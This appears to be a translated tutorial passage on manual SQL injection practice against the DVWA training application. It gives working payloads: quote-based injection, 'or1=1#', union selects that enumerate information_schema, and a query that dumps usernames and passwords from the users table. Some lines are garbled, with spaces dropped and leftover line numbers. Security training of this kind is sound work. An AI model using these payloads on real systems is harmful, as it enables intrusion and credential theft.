3.3 Penetration Machine (Learning to Attack SQL Injection Environment)
effect:
Kali contains hundreds of tools that can be used for a variety of information security tasks, such as penetration testing, security research
4. Manual injection
4.1 Environmental Preparation
Description: Practice manual injection through the target web application step:
Start the target machine OWASP
Access the target machine through a browser
Visit OWASP-dvwa project
Login
Select sql injection application
4.2 Finding the injection point
Note: Single quotes are mainly used, escape characters are mainly single quotes principle:
#后台程序sql语句select first_name,last_name from users where user_id ='$id';#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了select first_name,last_name fro users where user_id =''';
1
2
3
4
4.3 Logical OR
4.4 Guessing the number of columns
Through union
' unionselect1,2#
1
2. Through logical OR
'or1=1#
1
4.5 Get database, table, column
Get the database name
' unionselect1,database()#
1
Get Table
' union select table_name,1 from information_schema.tables where table_schema='dvwa' #
1
Get Columns
' union select column_name,1 from information_schema.columns where table_name='users' #
1
4.6 Get Data
//1. 获取单个字段数据' union select user,1 from users#
//2. 获取两个字段
'unionselectuser,password from users#
1
2
3
4
5
4.7 concat function
Function: concatenate multiple strings into one string Syntax: concat(str1,str2,…) Example:
Get user_id, user, password in the users table and display them in two columns